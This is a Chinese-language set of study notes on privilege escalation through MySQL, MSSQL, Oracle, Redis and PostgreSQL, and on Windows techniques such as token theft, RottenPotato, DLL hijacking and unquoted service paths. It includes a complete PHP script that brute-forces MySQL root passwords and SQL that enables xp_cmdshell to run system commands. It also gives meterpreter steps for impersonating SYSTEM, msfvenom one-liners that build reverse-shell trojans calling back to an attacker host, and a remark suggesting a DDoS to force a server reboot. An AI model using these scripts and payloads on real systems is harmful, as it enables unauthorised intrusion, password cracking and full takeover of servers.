目录
MySQL数据库提权(具体看XD老师的课程,这里只记录知识点)
MY&MS&ORA等SQL数据库提权
核心:获得数据库的账号和密码,可以在web和本地都尝试
背景:在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但是需要知道数据库的提权的条件:服务器开启数据库服务以及获得最高的数据库权限的账号和密码,除了Access数据库意外,其他的数据库基本都存在数据库提权的可能。
数据库提权
- 探针
- 收集
- 分类
- 提权
探针
包括着端口、服务、其他,判断是否存在着数据库服务。
收集
收集数据库的最高权限密码、账号,可以通过配置文件、存储文件、暴力破解以及其他的方式。
分类
其中根据数据库的不同,提权的方式也不相同,具体如下:
MySQL:
UDF提权
MOF提权
启动项
反弹shell
MSSQL:
xp_cmdshell
sp_oacreate
sp_oamethod
沙盒模式
映像劫持
Oracle
普通用户
DBA用户
注入模式
......
MySQL数据库提权(具体看XD老师的课程,这里只记录知识点)
环境为阿里云(PHP+MYSQL环境)
流程:服务探针->信息收集->提权利用->获取权限
UDF提权(基于MYSQL调用命令执行函数)
读取常见的网站数据库配置文件(需要了解其命名规则以及查找的技巧):常见的配置文件关键字为sql data inc config conn database common include等等。
读取数据库存储或者备份文件(了解其数据库存储格式以及对应内容)
mysql数据库的密码存储在mysql数据库中。(select * from mysql_user;)
如果想要获取这个文件,可以下载该文件,在.MYD文件中寻找
mysql中的data文件夹中的mysql文件夹的user.MYD.
还可以通过在线的脚本进行爆破(此时数据是需要支持外联的),提供一个大佬写的脚本。
<html>
<head>
<title>Mysql账号密码在线爆破工具</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<center>
<br><br>
<h1>Mysql账号密码在线爆破工具 V2.0</h1>
<br>
<?php
if(@$_POST['submit']){
$host = @$_POST['host'];
if($host!==""){
$username = "root";//用户名字典
$password = array();
$filename = "pwd.txt"; //同目录下密码字典
$i=0;
$file = fopen($filename,'r');
while(! feof($file)){
$password[$i] = fgets($file);
$i++;
}
fclose($file);
echo "<hr><br>-----------------------爆破状态-----------------------<br>";
for ($l=0; $l <= count($password); $l++) {
$password1 = trim($password[$l]); //除去左右空白
if(@mysql_connect($host, $username, $password1)){
echo "<script>alert('数据库密码为:{$password1}')</script>";
echo "<br><br><font color='red'>爆破成功--密码-->".@$password1."</font>";
break;
}else{
continue;
}
}
echo "<br>----------------------爆破结束-----------------------<br><hr>";
}else{
echo "<script>alert('黑客,输入数据库IP地址')</script>";
}
}
?>
<br><br><br><br>
<form action="Completion.php" method="post">
数据库IP地址:<input type="text" name="host"/>
<input type="submit" value="爆破" name="submit"/>
</form>
<center>
</body>
</html>
保存为Completion.php文件,将密码字典放置同目录下为pwd.txt文件。
原文链接:https://blog.csdn.net/weixin_49150931/article/details/123026142
之后利用自定义执行函数导出dll文件进行命令执行
手工创建plugin目录或者利用NTFS流创建
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
注意:
mysql的版本 < 5.1 导出目录为c:/windows或system32
mysql的版本 >= 5.1 导出安装目录/lib/plugin/
MOF知识点(基于mysql特性的安全问题)
导出自定义MOF文件到系统目录加载,具体看大佬的文章mof提权原理及其过程 - 珍惜少年时 - 博客园
启动项知识点(基于配合OS自启动)
导出自定义可执行文件到启动目录配合重启执行,将创建好的后门或执行文件进行服务器启动项写入,配合重启执行。
mysql操作开启外联,然后利用MSF的exploit/mysql/mysql_start_up。
如何让对方的服务器重启?XD老师说了一种方法就是DDOS攻击,使得对方服务器重启。(真刑)
反弹知识点(基于利用反弹特性命令执行)
如:nc -l -p 5566
MSSQL数据库提权
流程:服务探针->信息收集->提权利用->获取权限
使用xp_cmdshell进行提权
xp_cmdshell(数据库-系统数据库-mater-可编程性-系统扩展存储过程)默认在mssql2000中是开启的,在mssql2005之后的版本中则是默认禁止的,如果用户拥有管理员sa权限则可以用sp_congifgure重新开启它
启用:
EXEC sp_configure 'show advanced options',1 ;
Reconfigure;
EXEC sp_configure 'xp_cmdshell',1;
关闭;
EXEC sp_configure 'show advanced options',1;
reconfigure;
exec sp_config 'xp_cmdshell',0;
reconfigure;
执行;
exec master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll恢复
exec master.sys.sp_addextendeproc 'xp_cmdshell','c:\Program
Files\Microsoft SQL server\MSSQL\Binn\xplog70.dll'
使用sp_oacreate提权
主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',1;
Reconfigure with override;
关闭:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',0;
Reconfigure with override;
执行:
delare @shell int exec sp_oacreate 'wscript.shell',@shell
output exec sp_oamethod @shell ,'run',null,'c:\windows\system32\
cmd.exe /c whoami >c:\\1.exe'
使用SQL server沙盒提权
参考文献:SQL Server提权方法汇总(MSSQL)_Margin的技术博客_51CTO博客
exec sp_configure 'show advanced options',1;reconfigure;
不开启的话在执行xp_rewrite会提示需要开启。
Oracle数据库提权
普通用户模式
前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。
DBA用户模式(自动化工具演示)
拥有DBA账号密码,可以省去自己动手创建存储的繁琐步骤,一键执行测试。
注入提升模式:(sqlmap测试演示)
拥有一个Oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,要自己验证。
Redis数据库提权
Redis数据库提权的方式有三种,分别如下:
- 利用计划任务执行命令反弹shell
- 写ssh-keygen公钥使用私钥登录
- 低权限写webshell
Redis服务因为配置不当,可以被攻击者利用,攻击者借助Redis内置命令,可以将现有的数据而已清空;如果Redis以root身份运行,攻击者可以往服务器上写入ssh公钥,直接登陆服务器。连接(未授权或者有密码)参考文献:https://blog.csdn.net/fly_hps/articls/details/80937837
Postgresql
Postgresql是一种关系型数据库,其中9.3到11版本中存在一处‘特性’,管理员或具有“COPYTO/FROGRAM”权限的用户,可以使用这个特性执行任意命令。
CVE-2018-1058
CVE-2019-9193
之后会尝试复现这两个漏洞(目前在搭建中)参考文献:https://vulhub.org/#/environments/postgres/
高权限就是数据库的名字(Postgresql)
Windows2008&7令牌窃取提升权限
在windows中,每一个进程都是由某一个用户执行的,因此,可以窃取该用户的令牌,进行远程过程调用时请求权限提升,然后调用它从而生成特权安全令牌以执行特权操作。令牌不仅仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
Windows2003&10进程注入提升-本地
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有这实现权限共享机制,这类技术主要利用在Windows2008之前的操作系统上
pexec64 32进程注入工具针对-win2008及后操作系统
烂土豆
RottenPotato(烂土豆)提权的原理可以简单描述为:
- 欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端上。
- 对这个认证过程使用中间人攻击(NTLM重放),为"NT AUTHORITY\SYSTEM"账户本地协商一个安全令牌,这个过程通过一系列的Windows API调用实现的。
- 模仿这个令牌,只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。测试过程中,发现使用已经创建好的账户(就是上面说的用户级账户)去反弹meterpreter,然后再去执行EXP的时候会出现失败。但是使用菜刀(IIS服务器权限)反弹meterpreter就会成功。
烂土豆比热土豆的优点如下:
- 100%可靠
- (当时)全版本通杀
- 立即生效,不用像hot potato那样有时候需要等待Windows更新才能使用
总之,我对这个的理解是通过中间人攻击,将COM(NT\SYSTEM权限)在第二部挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌
必备知识点:
#令牌窃取配合上烂土豆提权
单纯令牌窃取:web权限或本地提权
如配合烂土豆提权:web或者数据库等提权
upload /root/potato.exe C:\Users\Public
cd C:\\Users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
大体上的思路就是通过上传的大马,先来执行cmd,查看当前的用户以及权限,使用msf来生成木马。生成木马的命令如下,代码来源于MSF(2)——各种木马的生成及简单的免杀_漫路在线的博客-CSDN博客_msf生成木马
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f macho > shell.macho
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f war > shell.war
Bath
msfvenom -p cmd/unix/reverse_bash LHOST=你的IP LPORT=你监听的端口 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=你的IP LPORT=你监听的端口 -f raw > shell.pl
Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=你的IP LPORT=你监听的端口 -f raw > shell.py
之后通过生成的webshell上传木马,并且执行(在执行之前要先使用msf进行监听),当执行木马的时候,msf便可以监听到会话,上传烂土豆并且执行(执行并非是在web上执行,而是在msf中执行)通过执行potato.exe文件,之后就是通过令牌窃取的方法来实现权限提升。
dll劫持
DLL劫持提权原理:Windows程序启动的时候需要DLL,如果这些DLL不存在,则可以通过在应用程序要查找的位置防止恶意的DLL来提权,通常,Windows应用程序有其预先定义好的搜索DLL路径,它会根据下面的顺序进行搜索。
- 应用程序加载的目录
- C:\Windows\system32
- C:\Windows\system
- C:\Windows
- 当前工作目录Current Working Directory,CWD
- 在PATH环境变量的目录(先系统后用户)
过程:信息收集(收集服务器上其他的第三方应用程序)-之后就可以尝试下载一个对应的第三方应用程序进行进程调试(主要就是分析这个程序在启动的时候调用了哪一些dll文件)-尝试制作dll木马文件并上传-将原来的dll文件进行替换-启动应用程序后成功拿到权限。
收集到当前的用户是DefaultAppPool,并且在D盘下面发现了存在着flashfxp第三方应用程序。之后就是下载一个 flashfxp应用,通过火绒剑来分析,该应用程序在启动的时候,会调用哪一些dll文件(通过火绒剑的进程调试)
寻找一些非系统文件,使用msf来生成dll木马文件,通过上传dll文件,将原来的dll文件进行替换,替换为我们生成的DLL木马文件,使用msf来监听,当启动该应用程序的时候,便会调用DLL,成功监听到,然后在使用令牌窃取,窃取权限“NT AUTHORITY\SYSTEM”,实现权限提升。
对于DLL提权,需要满足以下的几个条件:
- 对方存在着第三方应用程序
- 能够生成DLL木马文件,并实现替换
- 管理员要去运行这个第三方程序
服务权限
不安全的服务权限配合MSF-本地提权
原理:即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如:可以直接修改它导致重定向执行文件。
过程:检测服务权限配置-制作文件并上传-更改服务器路径指向-调用后成功
accesschk.exe -uwcqv "administrators" *
sc config "NewServiceName" binpath="C:\test.exe"
sc start "NewServiceName"
不带引号服务路径配合MSF-web,本地提权
原理:当windows服务运行时,会发生以下两种情况之一,如果给出了可执行文件,并且引用了完整路径,则系统会按照字面解释它并且执行,但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
过程:检测引号服务路径-利用路径制作文件并上传-启用服务或者是重启-调用后成功提权
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
这个过程就是在检测服务器上是否存在着有问题的服务路径,如果路径没有被引号包括起来,且路径中存在着空格,那么就会出现问题,例如如果运行结果显示有一条是这样的:C:\Program Files\cmd.exe,由于Program和Files之间存在着一个空格,那么运行的服务并不是cmd.exe而是C盘下的Program.exe。
因此我们在寻找存在问题的服务路径的时候,不仅仅需要看有没有带引号,还需要看路径中是否存在着空格,找存在空格的服务路径。所以在这种情况下,我们可以通过msf生成Program.exe的木马文件,上传至C盘下,然后用本地启用服务,通过msf的端口监听,获得会话。
关于Windows提权的相关知识点总结说明,需要掌握提权方法对应层面,提权方法对应的系统版本,相关文件以及后门的免杀问题等。